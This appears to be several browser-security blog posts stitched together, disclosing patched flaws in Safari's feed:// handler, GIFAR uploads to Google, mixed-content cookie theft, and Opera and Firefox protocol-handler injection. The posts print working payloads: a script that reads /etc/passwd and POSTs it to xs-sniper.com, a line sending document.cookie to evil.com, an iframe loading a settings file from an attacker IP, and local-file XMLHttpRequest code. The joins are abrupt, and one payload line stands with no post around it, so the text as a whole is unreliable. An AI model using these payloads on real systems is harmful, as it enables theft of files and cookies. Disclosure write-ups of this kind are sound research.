Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version=”1.0″ encoding=”utf-8″?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi &amp; Fantasy” scheme=”scheme”/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed://  as:

…
<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div>

<div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);
req.send(”);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);
req2.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
req2.send(‘filename=etcpasswd&filecontents=’+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll   Happy hunting!

BK

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/

RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class=”apple-rss-article-body”>
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!– end articlebody –></div
….

As you can see, Safari’s filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘loading /etc/passwd into javascript’);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(‘GET’, ‘file:////etc/passwd’, true);req.send(”);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}” <onload=”"

Proof of concept can be found here.

http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a “<script src=http://XS-Sniper’s-IP-Address/dynamic.js>” (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I’m very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we’re lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:

The footer looks something like this:

We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.

After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.

Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500.  I also set the HOST header to groups-beta.google.com.

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;



The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.


Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location.  Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location?  You can find the answer here.  For those of you in disbelief, you can test your favorite browser(s) here.


SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…


CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.

Opera 9.52 was released a few days ago…  I hope you’ve upgraded!  Working with the Opera Security Team was a pleasure.  I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive. 

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across.  You can read the initial advisory here.  Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here.  Since the issue is patched and the second advisory is out, lets go over the details:

First of all… this is a cross application issue (I think Blended Threat is the sexy term being used these days).  We’ll use a protocol handling “aware” application to launch these attacks against Opera.  Opera just has to be installed someplace on the victim’s machine for this to work.

When a user installs Opera, the following protocol hanlder is registered:

Opera.Protocol  ”C:\Program Files\Opera\Opera.exe” “%1″

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey… I’m a simple guy).

c:\Program Files\Opera\Opera.exe “Opera.Protocol://test”

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera.  In the first example, we will inject the location of a local html file.  When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision.  The protocol handling string we use looks like this:

<iframe src =  ‘opera.protocol:www.test.com” “file://c:\test.html ‘>

which ends up executing the following:

c:\program files\opera\opera.exe “opera.protocol:www.test.com” “file://c:\test.html”

If we can somehow place an html file to a known location this would be bad.  For arguments sake, lets assume Nate Mcfeters didn’t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) … what else can we do?

Taking a look at the command line arguments supported by Opera, we see a couple interesting items… one of which is the “/settings” argument.  the ”/settings” argument allows for Opera.exe to be loaded with an arbitrary INI file.  A quick examination of what’s contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control:  Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading… the list goes on and on…

<iframe src =  ‘opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini ‘>

which will result in something like this:

c;\program files\opera\opera.exe “opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini”

OUCH….Thankfully… the Opera Security Team has fixed this particular issue!  Kudos to them!

When FireFox is installed, it registers the following protocol handlers:

• Gopher://
• FirefoxURL://

Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

Both of these protocol handlers point to Firefox.exe in the following manner:

• “C:\Program Files\Mozilla Firefox\firefox.exe” -requestPending -osint -url “%1″

When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above.  For example, gopher://test will result in the following: 

• “C:\Program Files\Mozilla Firefox\firefox.exe” -requestPending -osint -url “gopher://test“

Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument.  Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler.  When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line.  So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed.  This is done in the following manner:

• gopher:test|file:c:/path/filename
• gopher:test|chrome://browser/content/browser.xul

Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank.  This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location.  There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example.  When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop.  This gives us a semi known location, as we’ll have to guess the username.  We can send a LOT of guesses for username as demonstrated below. 

• <html><body><iframe src=”gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3….>

There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop.  Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content.  When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system). 

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision. 

On a side note, IE warns users when active script is about to be run from the local file system.  I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that.  This is a great security decision on behalf of IE.

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox).  Both vendors did what was right and adjusted the behavior of their software.  Thanks Mozilla and Apple!

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions.  In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software.  From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat…  I’m looking forward to the talk!